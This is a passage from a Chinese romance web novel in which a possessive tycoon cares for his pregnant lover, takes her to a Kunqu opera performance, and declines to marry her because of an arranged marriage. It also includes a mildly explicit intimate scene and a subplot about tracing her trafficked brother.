傅小灵原以为她身体不舒服会影响胃口,没想她吃得还挺多,开心得不行,连忙拍了照片发给傅随之- 傅氏集团大楼会议室里。 傅随之身穿高级定制西服坐在会议桌前,正前方的大屏幕连线了美国那边的合作方,双方正在谈论业务。 桌面的手机震动后,对方就看到工作狂傅总拿起手机看消息,好似极为重要,手指点了点屏幕又反复看了看。 屏幕彼端的合作方停下声音,好奇看着傅随之。 是秦楠提醒后,傅随之才放下手机。 只是脑海里闪过刚刚看到的照片,眼眸里的冰冷都淡了些许。 两个小时后,会议结束,傅随之走进办公室,随即拿出手机调出傅小灵发给她的那张照片。 照片里,林青盏穿着一身藕粉色的雪纺衫,乌黑长发绾起,露出白皙饱满的额头。 她纤细指尖捧着白色陶瓷碗,正将白色汤匙往嘴里送,眼眸望着镜头,略显迷离。 不过是平常的照片,傅随之看着却觉得心底暖暖的。 这种感觉从未有过。 他走到办公桌前坐下,吩咐秦楠,“下午的工作拿过来。” “你还没吃饭。午餐准备好了。” 傅随之将手机放下,抓起旁边的文件夹翻开开始查阅,“拿到这边来。需要签字的文件送进来。” 秦楠迟疑了片刻,终究没有开口,转身走出去。 傅慎刚做好会议收尾,迎面被秦楠一把抓住,往旁边的会议室拽过去。 “我跟你说个事。” “什么事?” “刚三爷说让午餐拿到他办公室。” “??” “还让我把下午的工作文件都送进去。” “然后?” “我刚刚看到了,小灵给爷发了张林小姐的照片,爷看了好久。” “你到底想说什么?” 秦楠觉得傅慎真是不开窍,“你还看不出来啊,爷好像很高兴,是想赶紧干完活回家陪林小姐吧。” 傅慎点了点头,“有道理。” 然后面无表情转身去将紧急需要签字的文件都丢给秦楠,“这些都要看,送进去。” 秦楠熊熊的八卦之心被傅慎这举动压了下去,觉得傅慎实在太无趣了,这种男人难怪没女朋友! 他转身将文件都送进去,看到傅随之正专注点着鼠标像是在查收邮件,心底那八卦之心又凉了几分。 三爷工作这么认真,完全心无杂念的模样,刚刚该不会是他的错觉吧。 林小姐不过是怀孕了,爷不至于那么紧张,还想提早回家陪林小姐。 不至于不至于。 一定是他误会了。 秦楠将文件放下,转身走出去。 傅随之目光依旧落在电脑屏幕上,在搜索框输入搜索词条:怀孕需要注意什么? 查阅时,傅随之的表情严肃清冷,好像是在研究几百亿的项目似的。 随后,他拿出手机一点一点记下来- 林青盏怀孕,海棠湾上上下下小心翼翼,消息没敢外露,更加细心照顾林青盏,怕打扰她休息,连别墅里的分贝都低了好几分。 营养师每日严格制定营养菜谱,为林青盏准备美味营养餐。 傅随之还让秦楠聘请了几位大厨候着,以便林青盏提到想吃什么的时候能随时给她做。 不仅如此,他让傅慎悄然安排了一队保镖守在别墅,专门保护林青盏。 傅随之还亲自前往商场购买了孕妇一应用品,还有孩子的。 走廊尽头一直没怎么用的更衣室被悄然改成婴儿房。 那房间很宽敞,摆放着两张一模一样的婴儿床,墙边的展示衣柜里挂满了婴儿各阶段的衣服,还有婴儿的所有用品。 傅随之甚至亲自过去布置婴儿房,什么地方摆放什么东西,都是他亲自下达的指令。 这些事自然都没让林青盏知道。 她每天在房间睡上十个小时,清晨醒来到露台吹着风先开开嗓子,再由傅小灵和傅小敏陪着去花房里吃些点心赏赏花,或者在家庭影院里看场电影,乏了就再去休息会儿,醒来刚巧到傅随之下班。 如此过了一周,林青盏就耐不住了。 这天清晨,林青盏被傅随之吻醒,勾着他脖颈和他说,“我身体没什么事了,我想回望月台上班。” 傅随之揉了揉她的脸蛋,口吻严肃:“不行。” “我这样突然请假,台里原本定好的表演都得重新安排,后面再想回去又得安排一次。很麻烦的。” 傅随之明显不买账,“麻烦以后就不要去了。” 他说话口吻一直都是不容反驳的,林青盏不认为他是在开玩笑,随即坐起身,神色紧张望着他。 “你这话什么意思,之后你都不让我工作了吗?” 傅随之缓缓坐起身,身上的真丝睡袍松松垮垮,露出他线条分明的胸膛。 他揉了揉她的头发,“如果你的身体承受不住,不排除这种安排。” 她慌忙揪住他的睡袍,还想辩驳,傅随之双手捧起她的脸,望入她眼眸深处,“我说的是如果,你身体好了自然可以去。” 他将她搂入怀中,“在家待着无聊?” “嗯。”林青盏环住他的腰,“我想去上班,或者出去走走也行。” 他抚着她柔顺长发,思考片刻,说道:“今天是二十五,晚上带你去游园惊梦转一转?” 去听曲儿总比在家里闷着强,林青盏点了点头答应下来。 傅随之虽然霸道,但从来说到做到。 这天午间,傅随之从公司赶回来,抽空要带她出门。 林青盏刚坐在餐厅里吃午餐,抬眸看到走进来的男人,怔了怔,“你怎么这么早回来了?” “回来陪你吃饭。” 傅随之脱下西装外套随意丢给秦楠,边解开袖口边走到餐桌前坐下。 傅小灵为他准备了碗筷,站到旁边要等着给林青盏布菜,傅随之不喜欢这样,“你们下去吧。” 周边的人都离开,餐桌上只剩下他们两人,林青盏觉得这样很好。 她喝着小米粥,抬眸看他:“游园那边不是要下午五点才开场?” “差不多。” “那我们四点再过去?吃完饭你要休息么?” 傅随之为她夹了牛肉放在碗里,“你想做什么,我陪你。” 下一秒,林青盏莞尔一笑,“我想去花房那边晒晒太阳。” 傅随之:“好。” 所谓的晒太阳自然不是真的晒太阳,九月天天气还很热,林青盏可受不住大中午的晒太阳。 花房的玻璃经过特殊处理,可以隔热,林青盏只是想到花房那边坐一坐。 吃完午饭,林青盏拉着傅随之去了玻璃花房。 花房里的沙发换了一套黑色的,因为上次他们在这里做完,米色沙发上有些许痕迹,傅随之便让人换了一套。 黑色的这套明显没有之前那套米色沙发好看,但更加宽敞。 傅随之随意往那儿一趟,大长腿舒展开来,整个人难得有股慵懒的气息。 林青盏站着不知道该如何,被他勾着腰拉过去,贴着他胸膛躺下。 刚怀孕不久,她的肚子还是平坦的,穿一袭白色连衣裙,身姿婀娜。 傅随之壮硕手臂勾着她的肩膀,脸埋在她颈窝蹭了蹭,洇润嘴唇贴着雪白肌肤亲吻。 林青盏在家待了一周多,整个人都是慵懒的,这会儿躺着晒太阳,眼睛都睁不开,压根不想管后面的男人。 男人的嘴唇贴着脖子亲了亲,又低头去咬她的肩膀,林青盏依旧没理他。 片刻后,她的下巴被他的手指掐住,被迫抬头迎接他的吻。 不知是不是顾及着她怀孕的事,这几天傅随之没有了以往的狠劲儿,连带着亲吻都变得温柔。 柔润的嘴唇贴着她的肌肤蹭了蹭,找到她的唇,吻了吻,又去勾住她的舌尖,轻巧撩拨着。 温热掌心隔着裙子贴在她心脏的位置,一下一下揉着,连那蓄势待发也渐渐有了雄风。 林青盏歪了歪脑袋错开他的吻,提醒他:“医生说了不可以。” “知道。”他的手未停,“不进去不会伤着你。” 他抽空将玻璃弄成雾化模式,与世隔绝。 随后将人掰过来,与他面对面,掌心贴着白皙的长腿,慢慢撩起裙摆,裙下的风光一览无遗。 但他没去碰。 只是抓住她的手往下。 他亲吻着她的唇,声音低哑得像是厚重的大提琴拉过,震人心弦。 “帮帮三哥。嗯?” 她压根无法拒绝,手掌被他轻轻握住,抓紧。 压根握不住。 以往她只觉得每一夜都那么漫长,像是蚕丝一样,无限地推进,总是陷在迷迷糊糊的状态里,被他翻来覆去的。 而今天她清醒之际,深切感受到了它的傲然。 快一个小时了,她的手心都要破皮了! 在林青盏要撂担子不干时,傅随之低笑一声,才结束这场漫长的磨合。 黑色沙发痕迹斑驳。 林青盏没眼看,将脸埋进他胸膛。 - 太阳不想晒了,林青盏跑回卧室。 傅随之没为难她,神清气爽地叫人来收拾,收拾好了才上楼,陪着她眯了会儿,才亲自为她换了衣服,带着人往游园惊梦而去。 为了避免某人又要做什么,林青盏转身望着车窗外,没理他。 傅随之倒是不勉强,抽空低头查阅工作邮箱。 迈巴赫开到市区繁华街道四岔口,林青盏突然被路口商厦的大屏幕吸引,大屏幕正在播放她为唐郁南公司锦瑟年华录制的画中仙广告。 古色古香的山庄里,假山前摆放着比人高的空白画卷,镜头外缓缓走进来一位美人。 美人纤细手指捏着圆扇遮住脸,轻轻一跃,像是蝴蝶似的飞进空白画卷中,画卷随即成了流动的美人图。 黑色影子在画卷中跳跃而起,身上柔顺的丝绸汉服跟着飞扬舞动。 …… 整段视频是七分钟,林青盏没能看完,车已经行驶离开。 坐在副驾驶位的傅小敏没忍住转过身来跟林青盏说,“小姐这条广告拍得真好看。爷已经包下全城的电子屏幕,打算热播一个月。” 林青盏诧异。 傅小敏:“听说锦瑟年华这个月的销售额上升了十倍。娜娜小姐该感谢小姐。” 林青盏转身看傅随之,“你?” 傅随之嫌傅小敏聒噪,直接将中间挡板降下来,将后座与前面阻隔。 林青盏抿了抿唇,伸手去勾住他的手指,“你干嘛花钱弄这个。” 当初她答应唐郁南拍摄这只广告,一个是因为唐郁南答应在广告中插入昆曲宣传的元素,另一个是因为唐郁南给的报酬很高,林青盏想着拍摄一条广告能给台里增加点补助也挺好的。 可是傅随之这么大动作的宣传,砸了更多钱,岂不是亏了。 傅随之反握住她的手:“我们小纾这还没当家,就开始心疼起花销了?” 林青盏被他这么一打趣,心底那点心疼瞬间消失不见,她朝他手臂打了一下,懒得再理他。 傅随之勾了勾她的手掌心,“有一件事。” 她转身看他,听他低沉声音说道:“老一辈的总说,怀孕前三个月不能让外人知道。” 这点林青盏也听说过,还有说是前三个月不稳定,大肆宣扬会让肚子里的孩子不高兴就离开了。 林青盏以往没注意过这些,但现在她怀孕了,总想着能小心些终归是好的。 “那我们先不告诉别人,等过了三个月再说?? “好。” 今天他就是想带林青盏出来散散心,为了热闹,傅随之把其他几位也叫了过来。 他牵着林青盏手走进包厢时,纪时礼和顾宴迟已经在场。 纪时礼一看到他就烦,“得了,我就知道,我们今天又是观众。” 顾宴迟笑出声,“你这觉悟未免太晚了。” 顾蝉今天有时间,听到傅随之要带林青盏出来散心,就跟着顾宴迟过来了。 看到顾蝉,林青盏松开傅随之的手,走到她身旁坐下,“你这几天没活儿么?” 顾蝉为她倒了杯花茶,“老师回来后,原本一窝蜂往我这里扎堆的人都去找他了,我就清闲许多。现在就是去给老师打打下手,或者去博物馆帮忙。” “事儿太多也不好,待会老师又撂担子不干直接跑路。” 顾蝉哈哈大笑,“像是老师干得出来的事情。” 纪淮野年轻时候玩得凶,生性浪荡爱自由,但他在古物修复这事儿上天赋过人,修复的东西跟原件没什么区别,因此声名远扬,自然很多人找他。 不过他嫌那些人烦,基本上不见外人,能到他跟前的,都是在浮城里关系复杂的推不掉的,他没办法只能将活儿接下来。 顾蝉是他的得意门生,找不到他的那些人就会涌到顾蝉这儿来,她平时也很忙。今天也是难得有空。 林青盏被关在海棠湾一周多,难得见到朋友,聊得很是开心。 聊着聊着,顾蝉没注意往她杯里倒了酒,林青盏也没注意看,端起来就要喝。 被傅随之一把抓住。 他将酒杯夺走,脸色很难看,“还喝酒,疯了?” 林青盏这才反应过来。 第54章 傅随之反应太大,惹得旁边的人都看过来。 纪时礼笑话他,“哟,傅三你现在家教这么森严了,林小姐喝杯酒都不行?” 傅随之冷眼看他,“闭嘴。” 纪时礼转身扑到顾宴迟怀里,“四哥,傅三好凶啊。” 顾宴迟赶紧将人推开,把顾蝉搂了过来,“我跟他是清白的,你别担心。” 顾蝉:“……”这天天演,不累? 顾宴迟和傅随之同岁,读书的时候都是同一届,两人时常在一起。 傅随之性情冷,不会轻易与人熟识,即便顾蝉整天跟在顾宴迟后面,和傅随之经常碰到,两人也仅仅保留在“顾蝉可以跟顾宴迟一样唤他一声三哥”的平淡之交。 不过顾蝉对他了解还算比外人强一点,知道这位虽然面上冷,对林青盏还算不错。 这会儿他又是在为林青盏挡酒,顾蝉不想局面太僵,笑着打圆场,“我们小盏酒量不好,还是少喝点哈哈。” 林青盏莞尔一笑,想伸手去拿茶杯,又被傅随之夺过茶杯搁在旁边。 怀孕喝什么茶? 他冷着脸叫人给送两盅燕窝过来。 林青盏垂眸喝了口燕窝,悄悄看了傅随之一眼。 傅随之有所察觉,边和顾宴迟说话,边举起手臂勾着她肩膀,将人揽入怀中。 她依靠在他结实胸膛,这一刻莫名觉得很安心。 跟顾宴迟谈了谈生意经,又喝了杯酒,傅随之这才收回视线,低头跟她说话,“喝酒,想什么?” 林青盏解释,“一时间不适应,没反应过来。” 她以前也不常喝酒,只是出门偶尔会喝点,没有什么忌讳。这会儿突然转变身份,她自己也有点懵懵的。 傅随之嘱咐,“以后不可以。” 林青盏推他,“知道了。” 傅随之揉了揉她的脸,没再说什么。 他们旁若无人地亲昵,顾蝉假装没看见,转身看其他地方,嘴角却勾着笑。 她心底是很高兴的,毕竟她最宝贝的朋友有了如此贴心照顾的人,自然是好事。 这时,包厢的门被推开,是唐郁东、徐泽也带着唐郁南过来了。 不知道说到什么,唐郁东伸手戳了戳唐郁南的脑袋,“再这么不长记性,早晚有天被人卖了。” 唐郁南最不喜欢他那凶巴巴的样子,她也不怕他,一下子拍掉他的手,“你少凶我!平日里也没见你管我的事情!” 徐泽也抓住唐郁南的手腕将人拉到自己这边,“好了,你也别说她,不就是谈个恋爱,随她高兴就好。” “就你宠着她,改天宠坏了你最好能兜底。” “我兜底就我兜底。” 三人吵吵闹闹走进来,神色都不算好。 唐郁南看到林青盏,再不管唐郁东,走到他们旁边的沙发坐下。 “小盏,我的小财神!” 林青盏知道她说的是大屏广告的事情,只笑了一笑。 唐郁南:“我也是没想到,找林小姐拍了个绝美的广告,还有人上赶着帮我做宣传。三哥,谢了。” 对待旁人,傅随之从来都是淡漠的态度,“好说。” 唐郁南从包里拿出一个木盒摆放在林青盏面前,“为了答谢我的小财神给我带来这么好的宣传渠道,直接导致我们销售额大爆,我买了个礼物送给小财神。” 她将那盒子推到林青盏面前,林青盏却是不好意思收,“拍摄报酬,娜娜你已经付过了。这个就不用了,谢谢你。” 唐郁南可是堂堂浮城首富唐家大小姐,说要送出去的礼物,怎么可能让人拒绝! 她抓住林青盏如白玉般的手腕,将木盒子塞进她手里,“这是我让泽也哥为我淘来的宝贝,专门留着送给你的,小盏你就别跟我客气了,收下吧。” 徐泽也在旁边说道:“傅三这么一投屏,这个月锦瑟年华销售额翻了十倍,娜娜确实赚了不少钱。林小姐你不用跟她客气。” 唐郁南:“是啊,你跟我客气什么。我赚这么多都是你的功劳,如果你不收下这个礼物,我会寝食难安终日难眠郁郁寡欢,整天就想着这件事的。” 林青盏眨了眨浓密眼睫,被唐郁南灵动的神色逗笑,心底犹豫着要不要收。 再推迟好像显得她很变扭。 下一秒,听到唐郁南笑嘻嘻说道:“你不收下这个礼物,我下次怎么好再叫你拍广告啊!你不拍广告,我怎么继续占三哥便宜啊!” “……” 顾蝉也跟着帮腔,林青盏最终还是接过那礼物,打开一看,里面是冰紫翡翠手镯,起着荧光,很是好看。 林青盏自己就是研究古物的,自然知道这手镯价格斐然,她觉得还是不好接受,转身找傅随之,想让他帮忙开口拒绝。 不想傅随之神色坦然,拿起那冰紫翡翠手镯就往她白皙手腕套进去,荧光照在她戴着的那手链的纽扣上,更加惹眼。 傅随之点头:“好看。” 随后将她的手捏在掌心里,“既然是娜娜送你的,那就收着。” 他做主答应,林青盏不好再拒绝。 礼物被接纳,唐郁南心情不错,拉着林青盏聊昆曲,说没听过林青盏表演,后面得空了要去望月台听一听。 身旁有顾蝉和唐郁南陪着聊天,感觉时间特别快。 开场前一个小时,棠严峻过来跟傅随之说了声,开大门让客人们都进来。 她们又聊了会儿,转而去了观影台上,等着看表演。 傅随之出门跟棠严峻商讨事情,回来后径直走到林青盏身旁坐下。 他们坐着的是双人沙发,傅随之勾住她的肩膀将人揽入怀中,林青盏见还有旁人在,不太好意思地推了推他的手臂,想从他怀抱挣脱,被她勾着腰又拉过去。 “躲什么?” 音量不低,旁边的人都转身看过来。 纪时礼对傅随之秀恩爱这举动一直觉得很烦,“啧啧”两声,转而跟唐郁东继续聊天。 其他人看看,嘴角带笑,不过没有再以目光打扰,都转身看向台下。 林青盏眼神哀怨看向他,“都是人呢。” “所以?” 傅随之很不解,有人跟他要抱着她有什么关系? 他从来都是如此理直气壮的,弄得林青盏不知道说什么,干脆随他搂着。 他身材高大,显得她纤瘦小巧。 他线条分明的手臂压在她肩膀,好像巨石压下来让她快要无法呼吸,林青盏忍无可忍在他耳边说了句:“你好重。” 他这才将手臂拿起来,转而勾住她的腰,手掌就贴在她肚子,摩挲摩挲。 林青盏觉得这动作怪怪的,将他的手拉开,没一会儿他又贴过来。 她着实有些无奈,却拿他没办法,只能将注意力放在表演上。 今天游园惊梦表演的曲目是《桃花扇》,游园惊梦台柱子沈婳唱腔美妙,将跌宕起伏的剧情演绎得极为生动。 听着听着,林青盏倒是真投入进去了。 直到沈婳弯腰谢了幕,林青盏才恍然回过神来,恰好看到舞台上的沈婳抬头看向他们这个方向,林青盏总觉得那眼神略显复杂。 临近九点,唐郁南接到助理电话,说是公司出了点事情,唐郁东说送她过去,她不要,拉着徐泽也就要让他送。 唐郁东嗤笑一声,拉着纪时礼离开。 顾蝉和林青盏打了声招呼,也跟着顾宴迟回家了。 傅随之看时间差不多,要带林青盏回家,棠严峻突然着急忙慌过来,说找傅随之有事儿。 傅随之让傅小敏陪着林青盏,转身跟着棠严峻上了四楼。 到了办公室,棠严峻将门 关上。 傅随之在办公桌前坐下,“什么事?” 棠严峻比他年长二十,性情稳重,少见他如此着急的神色,傅随之知道必然是有什么大事。 果然,棠严峻将一份文件放在他面前,“你让我去查当年傅清檐拐卖儿童的事情,有着落了。当年卖出去的孩子找到了好几个,多半都是被手底下卖出去的,牵扯不到傅清檐。这个月找到的孩子,不一样。” 棠严峻将一张照片放在傅随之面前,傅随之垂眸看过去,照片里是两个男童,站在一艘木船上,右边的男孩穿着黑色衣服,留着寸头,眼神很是迷茫,左边的男孩穿着黄色衣服,白白净净的,五官很是精致,一双桃花眼满是防备。 傅随之拿起照片,看向棠严峻。 “照片中两个男孩,是当时傅清檐给带到海城那边打算转手卖掉的。黑色衣服的男孩是个孤儿,左边那个就是林解。” 棠严峻解释:“这次找到黑色衣服男孩,原本是想搜罗傅清檐拐卖儿童的证据,没想到从他手里拿到了这张照片。他隐隐记得,当时和林解被送到海城,法国一对夫妇过来看孩子,原本是看中了林解,黑衣服这个当晚要给送到其他城市的。 没想当天下午林解被带出去后,没再回来。后来不知道他们跟那对夫妇怎么聊的,最后是黑衣服这孩子被带走。” “查到林解被带去哪里?” “我们在海城查了一个月,才得到消息,有人说看到那些大人带着林解出海了,船还是跟当地人租的。当地老板说租船的人长什么样不记得了,只记得他们当中有人打电话,说叫了声傅总,应该就是傅清檐。” “人出海后呢?” “开船的说他跳船了。” “死了?” “应该没死。” 傅随之抬头,眼神阴沉了几分,“没死?” “说是有人看到他被捞上岸,但那大船是富商的,他们没敢靠近。” “哪里来的富商?” “港城那边的,不过船是港城的,人不见得是。我查了那段时间,没有港城的大佬到海城去。” 傅随之点了点头,“继续查。不行就直接从船的主人下手。” 港城那边的大佬也就那么几家,当真要查也不是不可以,只是那些人手段了得,他们轻易不想去折腾。 实在不行,傅随之可以亲自出马去问。 终归是在帮她找哥哥。 如果能找到哥哥,她肯定会很高兴。 她高兴,他就高兴。 棠严峻一一应下来。 “黑衣服这孩子挺有正义感的,说是当年虽然被卖到好人家,但不支持拐卖。我们有需要的话,他可以出庭作证明。” 傅随之点头,“先把材料留着,你派两个人专门保护他。先去莽撞出手,还是得收集证据。” “好。”棠严峻想了想又说:“这事儿有人证物证,虽然时间很久远,但调查起来不算难。只是——” 傅随之知道他要说什么。 只是人证物证只能抓住经手的那几个,要想惩治傅清檐不太可能。 “到时候能抓几个算几个。”傅随之神色阴冷,“至少先断了他这条路。这种丧尽天良的事情他也干,好日子不会太长。” “好。” 傅随之回到三楼,看到林青盏站在走廊上,正垂眸望着楼下的舞台。 表演结束,观众都已散场,只剩下工作人员在收拾,舞台空荡荡的。 他走过去,从身后抱住她。 林青盏怔了下,闻到他身上那股熟悉的清冷雪松味,没有挣扎,自然而然往后靠在他滚烫胸膛,抓住了他盘在腰间的手掌。 他蹭了蹭她的脸颊,“看什么?” 林青盏望着楼下,舞台后方挂着棠傛的那幅画在暖橙色的光线下,更显得古风韵味浓重。 她轻启唇,“今天唱的这出《桃花扇》很好,但我不喜欢。明明相爱的两人因为当时君主昏庸、奸臣当道,在栖霞山重逢后又双双出家,典型的悲剧。” 她幽幽叹了口气。 傅随之捏住她白皙的手指,“这么感慨?” “虽然我是表演者,但其实我不喜欢任何悲戚的故事。可能跟我身世有关,我喜欢安定感,喜欢所有的事情都平安顺逐,没有任何波浪是最好。” 傅随之是个理性的人,“人生不可能没有波澜,什么事情都不会一尘不变。” 他将林青盏转了身,垂眸看她,“都说怀孕了容易胡思乱想。” 林青盏摇了摇头,“我不是胡思乱想,可能是从小经历多了,心底本能有着这种祈愿罢了。” 她想起哥哥,又想到跟他这样不明不白的关系,心底难得有些感慨。 她抬头望入他那浅棕色眼眸,“小时候我就想过,以后能够嫁给一个平凡之人,有一个平凡之家,过着一辈子平稳的生活就足够了。” 偏偏她无法顺遂。 因为她跟了个浮城响当当的人物,他有他的家世,也有他的背负,他们之间有着最明显的阶级之分,这也是他们现在以及往后需要磨合的事情。 她并不怕这些,但需要他也一样坚定。 林青盏纤细指尖抓住他的衬衫衣领,仰起头逐渐靠近,声音轻柔得像是柳絮飞过。 “三哥,你穿黑色衬衫很好看,我想穿白色的也会很帅气。” 傅随之何其聪明,知道她想说什么。 他手掌摸到她脖颈,抓着人往自己这里摁过来,林青盏没有防备,被推着“主动”吻上他的唇。 不过是蜻蜓点水般,很快离开。 林青盏声音更加笃定,“三哥,你能为我穿一次白衬衫吗?” 傅随之欣然点头,“可以。” 林青盏眉眼间满是欣喜,像是桃花瞬间绽放。 没料到,傅随之下一秒说道:“但不是现在。” 她眨了眨浓密眼睫,眼中满是疑惑。 傅随之:“小纾,我们暂时不能结婚。” 话音刚落,一楼打扫的阿姨不小心将方桌上的琉璃灯打碎,砰砰砰碎了一地。 林青盏也听到自己心底那明灯破碎的声音,好像所有的梦都不能再拼凑起来。 他们之间有着阶级之分并不可怕,可怕的是傅随之始终有他要追逐的,他不会为林青盏停留,反而需要林青盏去迎合他的所有。 他现在不能结婚,即便她怀孕也不会改变。 林青盏坚持要回望月台上班,傅随之不答应,担心她身体吃不消,会发生意外。 她心情不好,懒得和他多说,只坚持要回去,司机不送,她就自己走出去。 傅随之拿她没办法,只能让医生过来再做了检查。 检查结果出乎意料。 怀孕七周已经有胎心胎芽,而且确定是双胎。 林青盏躺在柔软的床铺,望着头顶复杂的水晶灯,脑袋轰然,是完全混沌怔愣的状态。 站在一旁的傅随之也难得有了喜色,“都健康?” 家庭医生抬眸看他,略有迟疑,最终点头。 傅随之蹙了蹙眉,看出家庭医生有所隐瞒。 他叫人将检查设备都撤掉,坐在床沿,握住林青盏的手揉在掌心里。 林青盏表情很淡,眉眼间并没有见喜悦。 “听到医生说的,是双胞胎。” “嗯。” “你好好休息,想吃什么让小灵去准备。” 林青盏随他握着自己的手,心底没有任何波澜,“我想去上班。” 傅随之捏了捏她的脸,“你倒是积极。” 林青盏望着他,“怀胎十月,难道你要将我关在这里十个月吗?” 那晚在游园惊梦的聊天并不愉快,他不同意结婚,连先领证也不行,林青盏心底不悦。 当初她跟着傅随之,是事出有因,被外人传说当金丝雀也无所谓,但现在情况不同,她跟他是两情相悦的,她还怀有身孕。 她不可能不明不白地跟着傅随之,孩子更不可能无名无份地来到这个世间,一出生就被打上私生子的标签。 即便傅随之一 再承诺这只是暂时的,等他准备好会给她所想要的,但林青盏很清楚,这承诺没有时限。 只要傅随之的地位一日不稳,她的孩子会始终名不正言不顺。 这不是她想要的。 林青盏将自己的手掌抽出,转过身背对着他,明显不愿再和他说什么。 傅随之脸色阴沉,眼神里透着压迫感很强的无奈。 “你先休息,早餐我让小灵送上来。” 林青盏闭上眼睛。 傅随之见她不愿意谈,没有再说什么,起身离开。 家庭医生就等在楼下客厅。 傅随之走到沙发坐下,声音全然没有了方才的温柔,“说。” 那女医生原本是在老宅,被调到这里不久,但深知傅随之的性情,没敢有任何隐瞒。 “胎儿胎心听着不是很强壮,还是要多休息,后面再复查。而且,林小姐身体比较虚,有严重贫血的症状。” 傅随之手指戳了戳太阳穴,第一次觉得遇到的事情如此棘手。 在傅家在商圈,他有的是手段应付各种问题,从未觉得有什么事情能难道他,可面对林青盏,他经常没办法。 他担心她身体,又要照顾她的情绪,很是两难。 “她这种症状,能继续上台表演吗?” “最好是卧床休息。” 对上傅随之那犀利的眼眸,医生有点犯难,“真的要上台表演,工作量也不能过重,看能不能安排两天一场,一周最好能连续休息两三天。林小姐有贫血的症状,很容易出现眩晕的情况,更要注意。” 傅随之神色更加难看。 女医生不敢再说。 最终,傅随之还是点头答应让林青盏回望月台上班,前提是每天按照医生要求补充营养,出门需要傅小敏和秦楠跟着。 这个安排是傅小灵告诉林青盏的。 傅随之说有项目要谈,带着傅慎去了京都,需要至少半个月。 林青盏没说什么,隔天就收拾收拾去望月台。 当初是傅随之给她请的假,说是身体不适,之后兰青翎和阮青山都打电话过来询问过,林青盏和傅随之约定好暂时保密,回去也没说什么,只说身体不舒服无法上台。 在海棠湾待了十来天,差点没把她闷坏了,这会儿回到自己熟悉的地方,身边还有兰青翎可以说话,林青盏心情好了许多。 她迈步走过去,被兰青翎拉住手臂。 “身体好些了吗?是生了什么病,怎么会突然这么严重?” 林青盏反握住她的手掌,“就是感冒了,可能最近身体比较虚,卧床休息了好几天。” “最近流感很严重,还有其他病毒,出门在外确实要小心点。特别是我们台里,客人来来往往的。” 兰青翎挽着她的手往里面走,“那天傅三爷是直接给白云师叔打的电话,话说得挺重的,说让台里做好准备,可能你需要疗养一段时间。我们听到都吓了一跳,还以为是怎么了。” “是他大惊小怪了。” 当初林青盏为了护下望月台跟了傅随之,兰青翎其实是不支持的,她不愿意看到林青盏出卖自己。 后来看到傅随之对林青盏还算不错,而且听林青盏说两人是彼此喜欢的,兰青翎现在倒是逐渐接受了傅随之是林青盏男人的事实。 “傅三爷也是担心你吧。” 林青盏唇角的笑容收敛了些许,并不想多说傅随之。 “今天的戏都排好了?” “早上接到你电话,青山和我说了,知道你没事我们放心许多。不过今天下午的戏前两天就排好了,不好临时改动。” 兰青翎柔声解释,“你想上台的话,给你排明天的戏吧,今天还能过一遍,来得及。” “好。” 兰青翎早上就有一场戏,两人手挽手走进休息室,兰青翎边和她聊天边化妆。 “明天排的是《玉簪记》,你拿手的。” 这部戏,林青盏从小到大演绎过不下百次,自然是不用担心的。 早上表演结束后,兰青翎和阮青山拉着何青素和林青盏具体过了一遍,连走位都定好了。 午后没什么事,以往林青盏都会回去海棠湾休息,但今天她不想回去,就留下帮着兰青翎和何青素化妆做造型。 空了她就回到自己的化妆台,将东西收拾了一遍。 何青素化了个丫头妆造,看起来极为灵动,眼神时不时落在林青盏身上。 良久,她实在憋不住,开口问:“你和傅三爷是不是发生了什么不开心的事?” 第55章 她不想回去海棠湾就是不愿意多想和傅随之的事情,没想到这里还是有人会去说起他。 林青盏收拾的动作顿住,神色难掩不悦,片刻后才恢复如初,“为什么这么问?” 何青素捧着茶杯喝了口茶,缓缓说道:“我听慕先生说傅家和沈家的联姻定了,傅老先生已经派人往沈家送了聘礼。” 林青盏低头,眼睫颤了颤,嘴唇瞬间发白。 她有听说傅家和沈家的联姻没有取消还在谈,只是没想到连聘礼都下了。 难怪傅随之说暂时无法和她结婚。 她相信傅随之是喜欢她的,傅随之允诺她不会和沈钰铭结婚,她也愿意相信,只是—— 他不和沈钰铭结婚,必然是要跟傅家人对抗,这样下去恐怕以后也不见得能和她结婚。 她心底的思绪太复杂,但这没必要让外人知道。 她神色佯装无异,“他说了不会和沈钰铭结婚。” 何青素和林青盏一起长大的,虽然当初她因为慕觞淙嫉妒过林青盏,但姐妹情谊还是在的。 “当初我跟着慕先生,你劝我要慎重思考。因为慕觞淙和宋雅薇订婚了,之后他们必然会结婚。” 何青素看着林青盏,“今天我也是想劝一劝你的。” 林青盏将东西放好,双手放在膝盖,没什么表情。 何青素继续说道:“当初你跟着傅随之是不得已,我们都知道。就算他现在对你很好,但不能保证一直对你好吧。他和沈钰铭虽然没有感情,但结了婚,沈钰铭就是他明媒正娶的太太,你们感情再深有什么用,你都只能是他养在外面的金丝雀。” 林青盏转身看她,眼神清醒,“道理你倒是都懂。” 何青素叹了口气,“我和你不一样。我们家的情况你也知道,我虽有父母,但是他们对我就那样,从小就将我送出来学手艺,就是想着赚钱能给他们养弟弟。我就算没跟慕先生,往后最多也就是嫁个普通人,一辈子当扶弟魔,可能丈夫还会不高兴。而现在跟着慕先生,至少他能保证我衣食无忧,我父母都对我客气了几分。” 林青盏眨了眨眼睫,心底莫名有些动容。 “你是孤儿没有羁绊,但台里谁对你不是偏爱,大师兄疼你,师姐也疼你,师伯师傅都疼你,你还有纪先生当你的老师。你嗓子好,只要你肯好好唱,以后必然是望月台的台柱子,说句我自己都不爱听的,我总觉得你真想找人,一开口必然有的是人答应。” 何青素咬了咬牙,“傅三爷响当当的大人物,自然是好的。但你跟我不同,我可以没名没分跟着慕先生,被人戳着脊梁骨说是‘情妇’‘小三’都无所谓,你能受得住这些吗?” 林青盏垂眸。 她受不住。 她肚子里的孩子也不能受得住这些。 那天晚上回到海棠湾,林青盏洗了个热水澡,感觉头有些晕,差点在卧室里晕倒,坐在沙发缓了好一会儿才清醒许多。 这件事她没跟傅小灵说。 她知道,她的饮食起居,别墅里的人都会一一禀报给傅随之,她不想傅随之知道后,又下禁出令,让她不能再去望月台。 修养期间,她并没有落下功课,隔天上台,表现倒是不错。 连着几天,林青盏两点一线地往来望月台和海棠湾,心情好了很多,脸色也跟着红 润了些。 见她状态好了很多,傅小灵和傅小敏也跟着高兴,每天欢欢喜喜送她去望月台上班。 这天将人送到后,念着林青盏想吃城东那家桂花糕,傅小灵就说让秦楠跑一躺,她和傅小敏陪着林青盏。 